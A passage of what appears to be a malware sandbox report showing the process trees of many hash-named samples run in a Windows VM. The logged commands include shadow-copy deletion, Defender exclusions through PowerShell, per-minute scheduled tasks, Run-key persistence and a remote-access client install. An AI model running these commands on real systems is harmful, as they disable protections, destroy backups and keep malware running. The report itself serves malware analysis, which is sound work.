        Drops file in Windows directory
        
        PID:5596
        
        C:\Windows\system32\wsl.exe
        
        "C:\Windows\system32\wsl.exe" --set-default-version 2
        8⤵
        
        PID:3352
        
        C:\Windows\system32\powercfg.exe
        
        "C:\Windows\system32\powercfg.exe" /list
        8⤵
        Power Settings
        
        PID:3800
        
        C:\Windows\system32\powercfg.exe
        
        "C:\Windows\system32\powercfg.exe" /s
        8⤵
        Power Settings
        
        PID:5812
        
        C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /export /cfg secconfig.cfg
        8⤵
        
        PID:3608
        
        C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db secedit.sdb /cfg secconfig.cfg /areas USER_RIGHTS
        8⤵
        
        PID:756
        
        C:\Windows\system32\vssadmin.exe
        
        "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:5912
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\samples\2a0f495cd25dcbf02b2b0b11032d32a0460c9b7c5ad491afa4060ea3ca675f90\2a0f495cd25dcbf02b2b0b11032d32a0460c9b7c5ad491afa4060ea3ca675f90.msi"
  2⤵
  - Blocklisted process makes network request
  - Enumerates connected drives
  PID:5592
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Downloads\samples\4b26b2acfe71b1e2b5953d6d31c1dd0df55a0b5aebb38d914672b801ecf0eac8\4b26b2acfe71b1e2b5953d6d31c1dd0df55a0b5aebb38d914672b801ecf0eac8.doc" /o ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:5268
- C:\Users\Admin\Downloads\samples\5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1\5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
  "C:\Users\Admin\Downloads\samples\5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1\5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3296
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\samples\7e3e97a19d93606583c07808e3b352d65bf7f316e4f97d4808ca0c3e3efbade3\7e3e97a19d93606583c07808e3b352d65bf7f316e4f97d4808ca0c3e3efbade3.msi"
  2⤵
  - Blocklisted process makes network request
  - Enumerates connected drives
  PID:5820
- C:\Users\Admin\Downloads\samples\8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f\8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe
  "C:\Users\Admin\Downloads\samples\8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f\8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5696
- C:\Users\Admin\Downloads\samples\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
  "C:\Users\Admin\Downloads\samples\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Downloads\samples\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3952
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\VbOcmCITQ.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:1464
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VbOcmCITQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2FBF.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4568
- - C:\Users\Admin\Downloads\samples\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
    "C:\Users\Admin\Downloads\samples\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79\20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - outlook_office_path
    - outlook_win_path
    PID:6192
- C:\Users\Admin\Downloads\samples\33c3da7bf02520c5a749d6d87c81b35c7a3be9b39a1e09eb2aa15fb94853e73b\33c3da7bf02520c5a749d6d87c81b35c7a3be9b39a1e09eb2aa15fb94853e73b.exe
  "C:\Users\Admin\Downloads\samples\33c3da7bf02520c5a749d6d87c81b35c7a3be9b39a1e09eb2aa15fb94853e73b\33c3da7bf02520c5a749d6d87c81b35c7a3be9b39a1e09eb2aa15fb94853e73b.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2752 -s 408
    3⤵
    - Program crash
    PID:5784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2752 -s 412
    3⤵
    - Program crash
    PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\Downloads\samples\3436d93b5579bc4e9a68928b6d4889f34bb24e8ee7a8434e1d48dadffcb2738b\3436d93b5579bc4e9a68928b6d4889f34bb24e8ee7a8434e1d48dadffcb2738b.ps1'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:4712
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\samples\3843b95244d11b8a132ce31fab9859995e27eca7a587edf5db08385dded184ad\3843b95244d11b8a132ce31fab9859995e27eca7a587edf5db08385dded184ad.js"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Adds Run key to start application
  PID:7068
- - C:\Users\Admin\AppData\Local\Temp\ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ClientSetup.exe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    PID:6540
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\8746aefea26dc855\ScreenConnect.ClientSetup.msi"
      4⤵
      Enumerates connected drives
      PID:6268
- C:\Users\Admin\Downloads\samples\8716b0aec344d67da46449589ef1d169b42e0f038ba28392825b10a611a0fb3f\8716b0aec344d67da46449589ef1d169b42e0f038ba28392825b10a611a0fb3f.exe
  "C:\Users\Admin\Downloads\samples\8716b0aec344d67da46449589ef1d169b42e0f038ba28392825b10a611a0fb3f\8716b0aec344d67da46449589ef1d169b42e0f038ba28392825b10a611a0fb3f.exe"
  2⤵
  - Checks computer location settings
  PID:4328
- - C:\Users\Admin\AppData\Local\Temp\OneDrive.exe
    "C:\Users\Admin\AppData\Local\Temp\OneDrive.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    PID:6184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\OneDrive.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7248
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\OneDrive.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3556
- - C:\Users\Admin\AppData\Local\Temp\SearchFilterHost.exe
    "C:\Users\Admin\AppData\Local\Temp\SearchFilterHost.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    PID:4816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SearchFilterHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SearchFilterHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\SearchFilterHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4256
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SearchFilterHost" /tr "C:\Users\Admin\SearchFilterHost.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7424
- - C:\Users\Admin\AppData\Local\Temp\SecurityHealthSystray.exe
    "C:\Users\Admin\AppData\Local\Temp\SecurityHealthSystray.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    PID:1348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SecurityHealthSystray.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\SecurityHealthSystray.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7512
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SecurityHealthSystray" /tr "C:\ProgramData\SecurityHealthSystray.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7884
- - C:\Users\Admin\AppData\Local\Temp\WmiPrvSE.exe
    "C:\Users\Admin\AppData\Local\Temp\WmiPrvSE.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    PID:5732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WmiPrvSE.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WmiPrvSE.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WmiPrvSE.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7528
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WmiPrvSE" /tr "C:\ProgramData\WmiPrvSE.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7972
- - C:\Users\Admin\AppData\Local\Temp\regedit.exe
    "C:\Users\Admin\AppData\Local\Temp\regedit.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    - Runs regedit.exe
    PID:4884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\regedit.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'regedit.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\regedit.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1312
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "regedit" /tr "C:\Users\Public\regedit.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7476
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\samples\7045564b374526e89d2a358edacd0b21cac99e48b6399271fc8fbfb22683fe6e\7045564b374526e89d2a358edacd0b21cac99e48b6399271fc8fbfb22683fe6e.msi"
  2⤵
  - Enumerates connected drives
  PID:7036
- C:\Users\Admin\Downloads\samples\7245244c75276269f56cce5f81194681a881d4746a7abec6807f28a19b04ba66\7245244c75276269f56cce5f81194681a881d4746a7abec6807f28a19b04ba66.exe
  "C:\Users\Admin\Downloads\samples\7245244c75276269f56cce5f81194681a881d4746a7abec6807f28a19b04ba66\7245244c75276269f56cce5f81194681a881d4746a7abec6807f28a19b04ba66.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  PID:5968
- - C:\Users\Admin\AppData\Roaming\WFCZkFkLjq.exe
    "C:\Users\Admin\AppData\Roaming\WFCZkFkLjq.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:8084
  - - C:\Users\Admin\AppData\Roaming\WFCZkFkLjq.exe
      "C:\Users\Admin\AppData\Roaming\WFCZkFkLjq.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5124
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8084 -s 268
      4⤵
      Program crash
      PID:280
- - C:\Users\Admin\AppData\Roaming\XF8j33xTF1.exe
    "C:\Users\Admin\AppData\Roaming\XF8j33xTF1.exe"
    3⤵
    PID:4328
- C:\Users\Admin\Downloads\samples\3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d\3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d.exe
  "C:\Users\Admin\Downloads\samples\3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d\3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:1576
- - C:\Windows\SysWOW64\svchost.exe
    "C:\Users\Admin\Downloads\samples\3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d\3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:7964
- C:\Windows\SysWOW64\raserver.exe
  "C:\Windows\SysWOW64\raserver.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  PID:1600
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\SysWOW64\svchost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6524
- C:\Users\Admin\Downloads\samples\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe
  "C:\Users\Admin\Downloads\samples\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe"
  2⤵
  PID:7856
- - C:\Users\Admin\AppData\Local\Temp\is-JKBOH.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-JKBOH.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" /SL5="$10004C,18032967,815616,C:\Users\Admin\Downloads\samples\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe"
    3⤵
    - Checks computer location settings
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:8068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\is-V4FRO.tmp\ExtractedContent.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      PID:5392
    - - C:\Users\Admin\AppData\Roaming\SystemUtil\client32.exe
        
        "C:\Users\Admin\AppData\Roaming\SystemUtil\client32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5472

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4868

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2756
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3132
- C:\Program Files (x86)\Zillya Total Security\drvcmd.exe
  "C:\Program Files (x86)\Zillya Total Security\drvcmd.exe" znf -ni zsc -i zef -ei
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  PID:2724
- C:\Program Files (x86)\Zillya Total Security\MSCMgr.exe
  "C:\Program Files (x86)\Zillya Total Security\MSCMgr.exe" -i
  2⤵
  - Executes dropped EXE
  PID:3904
- C:\Program Files (x86)\Zillya Total Security\WDReg.exe
  "C:\Program Files (x86)\Zillya Total Security\WDReg.exe" -i
  2⤵
  - Executes dropped EXE
  PID:640
- C:\Windows\System32\MsiExec.exe
  "C:\Windows\System32\MsiExec.exe" /Y "C:\Program Files (x86)\Zillya Total Security\ZCtx64.dll"
  2⤵
  - Loads dropped DLL
  - Modifies registry class
  PID:2456
- C:\Program Files (x86)\Zillya Total Security\ZTS.exe
  "C:\Program Files (x86)\Zillya Total Security\ZTS.exe" /min /en
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:5432

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:3040

C:\Program Files (x86)\Zillya Total Security\ZTSAux.exe
"C:\Program Files (x86)\Zillya Total Security\ZTSAux.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:876
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic qfe list | find "KB3033929"
  2⤵
  PID:5244
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic qfe list
    3⤵
    PID:5288
- - C:\Windows\SysWOW64\find.exe
    find "KB3033929"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5296
- C:\Windows\SysWOW64\wusa.exe
  C:\Windows\system32\wusa.exe C:\Windows\Temp\Windows6.1-KB3033929-x64.msu /quiet /norestart
  2⤵
  - Drops file in Windows directory
  PID:5524
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic qfe list | find "KB3033929"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5576
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic qfe list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5628
- - C:\Windows\SysWOW64\find.exe
    find "KB3033929"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5640
- C:\Windows\SysWOW64\wusa.exe
  C:\Windows\system32\wusa.exe C:\Windows\Temp\Windows6.1-KB3033929-x64.msu /quiet /norestart
  2⤵
  - Drops file in Windows directory
  PID:5764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic qfe list | find "KB3033929"
  2⤵
  PID:5788
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic qfe list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5832
- - C:\Windows\SysWOW64\find.exe
    find "KB3033929"
    3⤵
    PID:5840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic qfe list | find "KB3033929"
  2⤵
  PID:5516
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic qfe list
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\find.exe
    find "KB3033929"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5700
- C:\Windows\SysWOW64\wusa.exe
  C:\Windows\system32\wusa.exe C:\Windows\Temp\Windows6.1-KB3033929-x64.msu /quiet /norestart
  2⤵
  - Drops file in Windows directory
  PID:5620
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic qfe list | find "KB3033929"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5720
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic qfe list
    3⤵
    PID:3264
- - C:\Windows\SysWOW64\find.exe
    find "KB3033929"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5876
- C:\Windows\SysWOW64\wusa.exe
  C:\Windows\system32\wusa.exe C:\Windows\Temp\Windows6.1-KB3033929-x64.msu /quiet /norestart
  2⤵
  - Drops file in Windows directory
  PID:5896
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic qfe list | find "KB3033929"
  2⤵
  PID:5812
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic qfe list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5232
- - C:\Windows\SysWOW64\find.exe
    find "KB3033929"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5944
- C:\Program Files (x86)\Zillya Total Security\SystemResearchTool.exe
  C:\Program Files (x86)\Zillya Total Security\SystemResearchTool.exe -s -o "C:\ProgramData\Zillya Total Security\Logs"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2828
- - C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\msinfo32.exe
    "C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\msinfo32.exe" /nfo "C:\ProgramData\Zillya Total Security\Logs\SysInfo.nfo"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3200

C:\Program Files (x86)\Zillya Total Security\ZTSUpdater.exe
"C:\Program Files (x86)\Zillya Total Security\ZTSUpdater.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
PID:644

C:\Program Files (x86)\Zillya Total Security\ZTSNet.exe
"C:\Program Files (x86)\Zillya Total Security\ZTSNet.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4680

C:\Program Files (x86)\Zillya Total Security\ZTSHips.exe
"C:\Program Files (x86)\Zillya Total Security\ZTSHips.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4356

C:\Program Files (x86)\Zillya Total Security\ZTSCore.exe
"C:\Program Files (x86)\Zillya Total Security\ZTSCore.exe"
1⤵
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- System policy modification
PID:5152

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x528 0x520
1⤵
PID:3040

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6096

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
PID:3268
- C:\ProgramData\MScreenConnect\client32.exe
  "C:\ProgramData\MScreenConnect\client32.exe"
  2⤵
  - Executes dropped EXE
  PID:2956
- C:\Windows\system32\reg.exe
  reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ScreenConnect /t REG_SZ /d "C:\ProgramData\MScreenConnect\client32.exe"
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3016
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:3
  2⤵
  PID:5732
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7108076C21DFA65DCFA54A8AAF27795F
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3868
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIC08C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242008281 3 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.GenerateAgentId
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1592
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIC1E4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242008578 7 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiStart
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:2988
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIC5CD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242009593 11 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ShouldContinueInstallation
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1552
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSID275.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242012796 33 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiEnd
    3⤵
